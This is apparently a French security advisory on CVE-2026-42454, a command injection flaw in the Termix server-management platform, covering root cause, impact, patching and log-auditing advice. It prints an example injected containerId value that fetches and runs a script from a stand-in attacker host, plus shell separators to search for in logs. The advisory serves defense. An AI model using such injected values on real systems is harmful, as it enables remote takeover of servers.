En bref

  • CVE-2026-42454 (CVSS 9.9) : injection de commande OS dans la plateforme web de gestion de serveurs Termix, via le paramètre containerId non assaini.
  • Versions affectées : toutes versions de Termix antérieures à 2.1.0. Correctif disponible en 2.1.0 publié le 8 mai 2026.
  • Action urgente : passer immédiatement en 2.1.0 ou supérieur, ou suspendre l''accès à l''interface web Termix tant que la mise à jour n''est pas appliquée.

Les faits

Le 8 mai 2026, l''équipe Termix a publié un avis de sécurité accompagné du correctif 2.1.0 corrigeant CVE-2026-42454, une vulnérabilité critique d''injection de commande OS dans la plateforme open-source de gestion de serveurs distants. Termix est une interface web destinée à orchestrer des serveurs Linux et Windows à travers SSH, en particulier pour piloter Docker à distance — démarrer, arrêter, inspecter ou supprimer des containers sans terminal local. La popularité du projet auprès des homelab et des PME automatisant leur infrastructure le place dans la catégorie des outils dont la compromission donne un accès root à l''ensemble du parc géré.

La vulnérabilité porte un score CVSS 9.9 sur la métrique 3.1, soit la valeur maximale après les RCE non authentifiées. L''ajout du score Privileges Required: Low (et non None) explique l''écart avec un 10.0 strict : l''attaquant doit disposer d''un compte authentifié sur l''interface Termix. Cette contrainte est faible dans la pratique, car de nombreuses installations sont déployées avec des identifiants par défaut, partagés en équipe ou accessibles par des comptes opérateurs ayant le droit minimal de lister les containers, ce qui suffit déjà à exploiter la faille.

Sur le plan technique, le bug se loge dans la chaîne de traitement des requêtes Docker. Termix expose deux familles de points de terminaison qui acceptent un identifiant de container : des routes REST avec containerId en paramètre d''URL, et des messages WebSocket qui transportent containerId dans un champ JSON. Dans toutes les versions antérieures à 2.1.0, la valeur reçue est interpolée directement dans une chaîne de commande shell — par exemple « docker logs » ou « docker stop » — qui est ensuite passée à la fonction ssh2.Client.exec() pour être exécutée sur le serveur cible distant. Aucune validation, aucune liste blanche, aucune fonction d''échappement n''est appliquée à containerId avant cette interpolation.

L''exploitation est triviale pour qui dispose d''un compte authentifié. Il suffit d''envoyer une valeur de containerId contenant un séparateur shell standard tel que « ; », « && », « | » ou « $(...) » pour ajouter une commande arbitraire à la chaîne envoyée par SSH. Par exemple, un containerId du type « abc; curl http://attaquant/x | sh » exécute le shell distant avec les privilèges du compte SSH configuré dans Termix pour le serveur cible — typiquement root ou un compte avec droits Docker, qui équivaut au root sur la machine hôte. La conjonction « SSH avec compte privilégié » + « shell injection » donne mécaniquement un accès root sur tout serveur géré par Termix.

L''avis du projet ne mentionne pas d''exploitation active à la date de publication, et aucun PoC public n''est encore référencé sur les agrégateurs habituels selon TheHackerWire. Cette absence ne doit pas être interprétée comme un délai de grâce : la simplicité du bug et la lisibilité du commit correctif sur GitHub permettent à un attaquant compétent de reconstruire l''attaque en lisant le diff. Les outils de gestion de serveurs sont par ailleurs des cibles régulièrement scannées par des opérateurs de botnets, qui automatisent la collecte de bannières et l''empreinte de versions vulnérables sur Shodan, Censys et FOFA.

La cause racine est un défaut de conception classique dans les outils orchestrant des commandes shell distantes : appel d''ssh2.Client.exec() avec une chaîne pré-construite, au lieu d''utiliser un mécanisme paramétrable comme spawn() avec arguments séparés ou un wrapper Docker côté serveur cible qui aurait isolé les containerId dans un argv. Le correctif 2.1.0 introduit une validation stricte du format attendu pour containerId — typiquement un identifiant Docker (chaîne hexadécimale courte ou longue) — et rejette toute valeur contenant des caractères en dehors de [a-fA-F0-9]. Cette approche par liste blanche est la seule défense robuste contre les injections shell : toute liste noire de séparateurs est contournable.

L''ampleur des installations Termix est difficile à estimer. Le projet ne publie pas de statistiques officielles, mais le dépôt GitHub agrège plusieurs milliers d''étoiles et de forks, et les images Docker officielles cumulent des dizaines de milliers de pulls mensuels. Une majorité des déploiements observés exposent l''interface web sur des ports non standard (8080, 8443) avec une authentification par mot de passe simple. La pratique consistant à placer Termix derrière un reverse-proxy public ou un Cloudflare Tunnel sans couche d''authentification supplémentaire — pour accéder à ses propres serveurs depuis l''extérieur — est répandue et expose mécaniquement la faille.

Le bulletin Termix recommande, en plus du passage à 2.1.0, de réviser les permissions accordées au compte SSH utilisé en aval par la plateforme. Beaucoup d''installations utilisent un compte « termix » avec sudo NOPASSWD ou directement le compte root pour simplifier la configuration initiale ; ce raccourci transforme toute injection de commande en compromission complète. Le compte SSH utilisé par Termix devrait être limité à l''exécution de commandes Docker via un wrapper sudo restrictif ou par un docker.sock proxifié avec ACL.

Impact et exposition

Toute installation Termix antérieure à 2.1.0 disposant d''au moins un compte applicatif valide est exploitable. Dans les déploiements typiques où plusieurs administrateurs partagent l''interface, ou bien où des comptes opérateurs ont été créés avec des permissions limitées (lister/inspecter les containers), la faille permet à n''importe lequel d''entre eux d''obtenir un shell root sur tous les serveurs gérés par la plateforme — ce qui constitue une élévation de privilèges horizontale et verticale combinée.

Les déploiements à risque maximal sont ceux qui exposent Termix directement sur Internet, ce qui est fréquent dans les homelab et les PME utilisant l''outil pour piloter une flotte distante. Dans ces configurations, un attaquant qui obtient ou devine des identifiants — phishing, fuite de mot de passe, brute-force lent — passe immédiatement de l''accès web à l''accès root sur l''ensemble de l''infrastructure orchestrée. Les architectures internes (Termix derrière un VPN ou un SSO d''entreprise) limitent cet impact à un attaquant ayant déjà un pied dans le réseau.

L''exposition se mesure aussi par le rayon d''action : Termix est conçu pour gérer plusieurs serveurs simultanément. Une exploitation réussie ne compromet pas un seul hôte, mais potentiellement la totalité du parc déclaré dans la configuration de la plateforme. Dans une PME ayant ainsi une dizaine de VPS Linux gérés par Termix, la faille transforme un compte opérateur en compromission de l''ensemble du datacenter virtuel.

Recommandations immédiates

  • Mettre à jour Termix vers la version 2.1.0 ou supérieure. Le correctif valide strictement le format attendu pour containerId et rejette les valeurs non conformes.
  • Si la mise à jour ne peut être appliquée immédiatement, suspendre l''accès à l''interface web Termix ou la restreindre aux administrateurs de confiance via une ACL réseau.
  • Auditer les logs SSH des serveurs gérés à la recherche de commandes inhabituelles déclenchées par le compte applicatif Termix : présence de « ; », « && » ou « $( » dans les commandes docker, exécutions de curl/wget non attendues.
  • Réviser les permissions du compte SSH utilisé par Termix : remplacer un sudo NOPASSWD large par un wrapper limité aux sous-commandes docker autorisées, ou utiliser un docker.sock proxifié avec ACL au lieu d''une connexion SSH root.
  • Faire une rotation des mots de passe applicatifs Termix si la version vulnérable a été exposée à des utilisateurs non strictement de confiance.

⚠️ Urgence

CVSS 9.9 et exploitation triviale dès qu''un compte authentifié existe. La compromission de l''interface Termix donne mécaniquement root sur tous les serveurs gérés. Si l''interface est exposée sur Internet et n''a pas été patchée, considérer le parc comme potentiellement compromis tant qu''un audit n''a pas été conduit.

Comment savoir si je suis vulnérable ?

Comparer la version installée à 2.1.0. Pour une installation Docker, exécuter « docker inspect | grep Image » et vérifier le tag. Pour une installation manuelle, consulter le fichier package.json ou la sortie de la commande de version intégrée. Toute version antérieure à 2.1.0 est vulnérable. Pour vérifier les tentatives d''exploitation, examiner les logs d''accès HTTP/WebSocket à la recherche de requêtes contenant des caractères shell (« ; », « && », « | », « $( ») dans les paramètres ou champs containerId, et corréler avec les logs SSH des serveurs gérés.

Votre infrastructure est-elle exposée ?

Ayi NEDJIMI réalise des audits ciblés pour identifier et corriger vos vulnérabilités.

Demander un audit